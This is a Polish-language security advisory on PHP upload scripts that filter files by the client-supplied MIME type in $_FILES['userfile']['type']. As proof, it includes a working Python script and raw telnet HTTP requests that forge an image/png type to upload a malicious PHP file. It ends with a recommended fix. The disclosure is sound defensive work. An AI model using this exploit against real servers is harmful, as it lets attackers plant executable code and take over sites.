Temat: Bezpieczeństwo skryptów PHP stosujących zmienną $_FILES['userfile']['type'] Kategoria: Bezpieczeństwo skryptów PHP Dotyczy: PHP wersja 4.1.0 i wyższe I. Podłoże $_FILES['userfile']['type'] jest zmienną często używaną w skryptach PHP, które mają za zadanie przesyłanie (upload) plików (przeważnie graficznych) na serwer. Zmienna $_FILES['userfile']['type'] zwraca MIME TYPE, czyli typ danych pliku. Może to być na przykład: "image/png". Cytat z manuala PHP (zobacz VII. Odnośniki 01): "You could use the $_FILES['userfile']['type'] variable to throw away any files that didn't match a certain type criteria." Możesz użyć zmiennej $_FILES['userfile']['type'] do odrzucenia wszelkich plików, które nie będą spełniały wymogów określonego wzorca. II. Opis problemu Stosowanie zmiennej $_FILES['userfile']['type'] w skryptach PHP w celu odrzucenia plików przesyłanych na serwer, które nie spełniają wymogów określonego wzorca, może pozwolić na przesłanie (upload) na serwer niepożądanego pliku z kodem PHP. III. Wpływ Atakujący jest w stanie przesłać na serwer plik ze złośliwym kodem PHP. IV. Dowód 01 : Przykładowy prosty formularz HTML do przesyłania (upload) plików na serwer. Plik: upload.html URL: patrz VII. Odnośniki 04
02 : Przykładowy prosty skrypt PHP do przesyłania (upload) plików na serwer. (Oddający idee problemu). Plik: upload.php URL: patrz VII. Odnośniki 05 03 : Przykładowy prosty skrypt Pythona, wykorzystujący błąd. Plik: upload.py URL: patrz VII. Odnośniki 06 #!/usr/local/bin/python2.4 # -*- coding: iso-8859-2 -*- import os, httplib, mimetypes host = '127.0.0.1' # W formacie xxx.xxx.xxx.xxx np. 127.0.0.1 selector = '/upload.php' # Zmienna ACTION w formularzu HTML zawsze z "/" np. "/upload.php" form_file_name = 'userfile' # Zmienna pliku w formularzu HTML np. form_max_name = 'MAX_FILE_SIZE' # Opcjonalna zmienna w formularzu HTML np. form_max_value = '262144' # Wartość opcjonalnej zmiennej MAX_FILE_SIZE w formularzu HTML storage_path = 'evilcode.php' # Evil PHP code :> def check_file(filename): f = open(filename, 'rb') image_file_body = f.read() f.close() return image_file_body, True def encode_multipart_formdata(fields, files): BOUNDARY = 'PYTHON' CRLF = '\r\n' L = [] for (key, value) in fields: L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('Content-Type: text/plain; charset=iso-8859-2') L.append('') L.append(value) for (key, filename, value) in files: L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) L.append('Content-Type: image/png') L.append('') L.append(value) L.append('--' + BOUNDARY + '--') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % BOUNDARY return content_type, body def post_multipart(host, selector, fields, files): content_type, body = encode_multipart_formdata(fields, files) conn = httplib.HTTPConnection(host, 80) conn.putrequest('POST', selector) conn.putheader('Content-type', content_type) conn.putheader('Content-length', str(len(body))) conn.endheaders() conn.send(body) response = conn.getresponse() conn.close() return response if __name__ == '__main__': image_file_body, status = check_file(storage_path) if status: fields = [[form_max_name, form_max_value]] files = [[form_file_name, storage_path, image_file_body]] response = post_multipart(host, selector, fields, files) if response.status == 200: print 'Evil code na pokładzie.' else: print 'Błąd.' else: print 'Błąd. Nie mogę otworzyć pliku.' 04 : Przykładowy prosty Evil Code: Plik: evilcode.php URL: patrz Odnośniki 07 05 : Przykładowy sposób wykorzystania błędu przy pomocy Telnet. 1. Zapisujemy w pliku tylko ponumerowane linie znajdujące się poniżej (oczywiście bez numerów): Plik: telnet.txt URL: patrz Odnośniki 08 01 --LYNX 02 Content-Disposition: form-data; name="MAX_FILE_SIZE" 03 Content-Type: text/plain; charset=iso-8859-2 04 05 262144 06 --LYNX 07 Content-Disposition: form-data; name="userfile"; 08 filename="/upload.php" 09 Content-Type: image/png 10 11 15 --LYNX-- 2. Sprawdzamy ile zajmuje plik i tyle samo później wpisujemy w "Content-length:". 3. Uruchamiamy Telnet: `telnet 127.0.0.1 80` 4. Po ustanowieniu połączenia wpisujemy (w Telnecie) 5 linii: POST /upload.php HTTP/1.0 Host: 127.0.0.1 Referer: http://127.0.0.1/upload.html Content-type: multipart/form-data; boundary=LYNX Content-length: 246 5. Dajemy jeszcze pustą linię i wklejamy zawartość naszego pliku (telnet.txt) V. Rozwiązanie Nie używać w skryptach PHP zmiennej $_FILES['userfile']['type']. VI. Autorzy rodion - rodion(at)kettu.pl jamu VII. Odnośniki 01 : Handling file uploads - http://pl.php.net/manual/en/features.file-upload.php 02 : RFC2616 Hypertext Transfer Protocol - http://rfc.net/rfc2616.html 03 : Python - http://www.python.org 04 : upload.html - http://miracle7.info/security/php/upload.html.txt 05 : upload.php - http://miracle7.info/security/php/upload.php.txt 06 : upload.py - http://miracle7.info/security/php/upload.py.txt 07 : evilcode.php - http://miracle7.info/security/php/evilcode.php.txt 08 : telnet.txt - http://miracle7.info/security/php/telnet.txt